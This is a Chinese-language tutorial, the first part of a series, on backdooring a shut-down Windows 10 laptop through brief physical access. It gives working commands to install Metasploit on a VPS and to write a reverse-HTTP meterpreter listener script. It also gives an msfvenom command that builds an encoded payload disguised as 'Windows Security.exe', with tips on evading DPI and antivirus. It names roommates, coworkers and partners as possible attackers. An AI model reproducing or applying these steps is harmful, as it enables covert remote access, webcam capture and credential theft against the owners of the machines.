入侵win10电脑(上):设置payload
即使你的win10笔记本关机,3分钟之内,也可以被入侵。只需要在键盘上执行某些操作,就能移除电脑中的杀毒软件,创建一个后门,捕获网络摄像头图像和密码,以及其他比较敏感的个人数据。你现在可能会有疑惑,为什么攻击者要入侵我的个人电脑呢?答案很简单,任何计算机或者在线账户都是有价值的。虽然很多人觉得他们没什么东西可丢失或者可隐藏的,但是黑客的想法谁知道呢,可能他们就是想黑你,所以不要低估他们。
通过入侵你的win10电脑,攻击者可以在你的电脑上搭建web服务器用来钓鱼,传播恶意软件,垃圾邮件,或者存储和发布其他的恶意内容。他们还可以收集你的联系人信息,以你的名义给他们发送垃圾邮件,获取虚拟商品,破坏你的名声,获取你所有的账户凭证,把你的电脑当成肉鸡进行僵尸活动等等。
即使你的电脑上没有存储敏感信息,攻击者也会利用已经入侵的系统进行非法的活动,而这些非法活动都是直接与受害者相关联的,非法活动失败有可能导致罚款,诉讼,甚至是蹲监狱。
当然,也有可能攻击者入侵的电脑并不是实际的目标。只是以一个跳板而已。如果电脑所有者在一家价值很高的大企业上班,那么这家大企业可能就是攻击者真正的目标。这台被入侵的电脑,连接到公司的网络就可以作为一台渗透设备了,攻击者就可以进行非法活动,或者是横向渗透到网络中的其他设备。
理解攻击 在这篇文章中,我将讲解攻击者在物理接触靶机的情况下,如何给靶机种后门。对于白帽子和渗透测试人员来说,这是一个不错的方法。当然,对于普通用户来说,知道这种方法也有利于防止这种攻击。大多数win10用户都不知道,即使电脑完全关机了,攻击者在不知道电脑开机密码的情况下,也是有办法可以看到电脑中的文件和目录的。
执行这种攻击只要2个U盘就足够了。第一个U盘制作成可以启动靶机系统的“live USB”,第二个U盘用来存储会在靶机中执行的payload。在第一个U盘中制作完成live USB之后,它就不能再存储任何文件了(比如payload),所以我们才需要第二块U盘。
这种攻击谁都可以执行,同事,邻居,酒店服务人员,室友,朋友,对象等任何人,只要有这两个U盘,并且能够物理接触电脑三分钟。攻击者甚至可以借助metasploit在电脑上留后门,这样一来,即使电脑在任何其他地方连接到不同的WiFi网络,攻击者都可以维持一个长期和远程的连接。
Step1 制作live USB Live USB是一个物理介质或者外部硬盘,里面包含了一个完整的系统,可以在一台电脑上启动,而不用启动电脑的内部操作系统。现在大多数的电脑和台式电脑都支持从live USB启动,没有进行任何的安全考虑。
制作live USB的软件有很多,比较流行的是Rufus和LinuxLive USB Creator。不过,这里我推荐的是Ethcer,一个跨平台和开源的工具,这个工具让制作live USB更简单容易上手。
这里我们建议使用轻量级的Linux ISO镜像,允许Ethcer更加快速的制作live USB。任何允许用户使用操作系统而不用安装的Linux ISO镜像都可以。
当Ethcer执行完成之后,弹出USB,此时,这个USB就能够用来查看和修改已经关机的win10电脑上的敏感文件了。
Step2 设置VPS 我们还需要一个VPS来设置metasploit监听,到时候被入侵的电脑会连接到这台服务器上。
关于如何购买VPS这里我就不再啰嗦了。如果还有不清楚如何购买的,请参考我们之前的文章,选择最好的VPS提供商。基于debain的VPS,1G运存和1核CPU就可以运行metasploit了。
Step3 在VPS中安装metasploit metasploit开发者写了一个简单地安装脚本,可以自动化安装metasploit整个过程。首先,我们要下载这个脚本,然后保存到本地,我们可以使用下列命令来实现: curl > msfinstall 然后,确保脚本具有可执行权限,使用chmod命令来修改权限。 sudo chmod 755 msfinstall 最后,以root身份运行这个最新创建的“msfinstall”文件来安装metasploit。
差不多两分钟,metasploit就安装完成了。在我的debain9 VPS服务器上,这个安装脚本没有报错。在其他发行版中安装metasploit,请查看metasploit开发者Rapid7的官方安装指南。
Step4 在VPS中安装Screen程序 这个程序允许用户在一个控制台下管理多个终端会话。它能够分离或者关闭终端窗口,而不会丢失终端中运行的任何数据。 比如, VPS上的SSH会话关闭之后,metasploit需要继续运行。一般情况下,如果metasploit启动了,只要SSH会话一关闭,VPS上的metasploit就会停止运行。所以我们需要使用Screen工具来保持metasploit在后台运行。以下就是一个案例,我在Screen程序中保持着nano运行。
要安装这个程序,使用apt-get命令即可,命令如下: sudo apt-get install screen 查看当前的Screen会话,使用screen -list命令。如果后台中没有在运行的Screen会话,这条命令会显示“no sockets found”。 要开启一个新的Screen会话,只要在终端中输入screen,回车即可。 Screen程序会显示一些版权和证书信息。 接着按回车键,不用管它。一旦进入到会话中,终端里执行的一切都会被保存,即使你关闭终端或者关闭计算机。 -r 参数可以用来重新连接一个正在运行的Screen会话。 session -r 会话名称 只要学会了上面几条简单地命令,你就可以开始使用Screen并且管理会话了。要想对Screen有更深入的了解,请参考这篇文章。
Step5 配置metasploit metasploit内置了很多“资源脚本”来完成自动化操作。这对于长期使用metasploit而且不想反复的输入相同的命令来设置metasploit的黑客来说,这一点是非常便利的。 创建资源脚本,在VPS上使用nano命令创建一个文件,命令如下; nano ~/automate.rc 这将会在家目录中创建一个“automate.rc”文件,然后把下面的命令复制粘贴到打开nano的终端中: use multi/handler set payload windows/meterpreter/reversehttp set LHOST Your.VPS.IP.Here set LPORT 80 set ExitOnSession false set EnableStageEncoding true exploit -j 在进一步讲解之前,我们先来对这个脚本进行分析一下,看它是什么意思。 payload类型选择的是“Windows/metepreter/reversehttp”,这会在目标靶机和攻击者之间建立HTTP连接。攻击者有时候会使用基于标准TCP连接的HTTP连接来绕过DPI(深度数据包检测)。TCP包传输到异常端口(如4444,55555等),这样的话,任何人只要监控被入侵主机的进出流量,就可以发现TCP包。 LHOST是攻击者的IP地址,运行着metasploit。资源文件中的你的VPS地址也应该相应地改成攻击者的VPS地址。 LPORT制定了一个目标端口。HTTP数据默认是通过80端口传输的。为了被动的绕过DPI,我们使用了80端口。 当你使用msfconsole运行automate.rc文件时,这个exploit将会自动启。 当你复制了上面引号中的命令,粘贴到了nano中,输入Ctrl+X,然后Y来保存和关闭nano。 现在可以使用下面这条命令来启动msfconsole了。 screen msfconsole -r ~/automate.rc
Step6 生成payload msfvenom是msfpayload和msfencode的组合,把这两个工具集成在一个框架中。msfvenom是metasploit框架的命令行实例,用来生成和输出metasploit中所有有效的shellcode。大多数情况下,原生的shellcode需要进行编码,这样才能正常运行。 在本次测试中,我们将使用一个简单而不复杂的payload。在真实的场景中,攻击者会使用高级的payload,能够有效的绕过杀毒软件。如果在攻击过程中没有杀毒软件的话,那么,一个简单地msfvenom payload就足够了。 在本教程中,我们会使用kali上的工具来生成msfvenom payload。使用msfvenom生成payload,在终端中输入以下命令: msfvenom --encoder cmd/powershellbase64 --payload windows/meterpreter/reversehttp LHOST=YourVpsIpHere LPORT=80 --arch x86 --platform win --format exe --out ~/'Windows Security.exe'
上面这条命令执行了很多操作,现在我们来进行分析。 · --encoder:这个参数会对payload进行编码,它会将原始payload的文件特征改变成不同的格式,以此来绕过入侵检测系统。这里使用的encoder类型是“powershellbase64”。powershell是一门脚本语言,是由微软开发的,旨在帮助IT专业人员配置系统和自动化管理任务。这门语言在2006年引入了Windows XP和Vista系统中,不过自从引入起,该语言就被攻击者恶意利用来实现他们的目的。 ·--payload:这里使用的payload类型是“windows/meterpreter/reversehttp”。这个payload与上一步创建的资源文件automate.rc中使用的payload保持一致。 LHOST:这里填写的是攻击者服务器的IP地址。这个IP地址跟上一步中automate.rc资源文件中的LHOST保持一致。 LPORT=80:指定目标端口,与上一步保持一致。 ·--arch x86:过去的Windows旧电脑使用x86架构,而且不能执行64位的程序。在较新版的Windows电脑中,可以使用x86架构,也可以使用x64架构。因此攻击者选择使用x86架构,因为新旧版本都支持,所以能够覆盖到更多的Windows用户。 ·--platform win:指定目标操作系统平台。其他平台包括Android,macOS,Unix和Solaris。在这例子中,我们选择Windows平台。 ·--format exe:指定输出格式为“exe”。这个可执行程序可以不需要用户输入就在Windows上运行。 ·--out:攻击者通常会使用可信的名字来命令病毒或者后门,比如“Windows security”,“Windows update”或者是“explorer.exe”,以此来迷惑用户,认为正在运行的进程是无害的或者可疑的。--out指定了可执行payload的名字。
Step7 制作payload USB 生成msfvenom payload之后,我们需要将它保存在第二块USB中。我们只要将第二个U盘插入到电脑中,把刚刚生成的payload拷贝进去就行。就是这么简单,这个payload U盘就制作好了。
接下来就要准备去入侵系统了。
在这篇文章中,我们创建了live USB,安装了metasploit,并且配置了远程服务器,生成了一个简单地msfvenom payload。所有这些步骤完成之后,我们就可以进行下一步了,物理上去接触一台关机的电脑,并且关闭了Windows defender和其他安全软件,并将payload嵌入到设备中。这样一来,每次当设备重启时,payload就会执行,在攻击者服务器和被入侵电脑中创建一个新的连接。详细步骤,敬请期待下篇文章分析。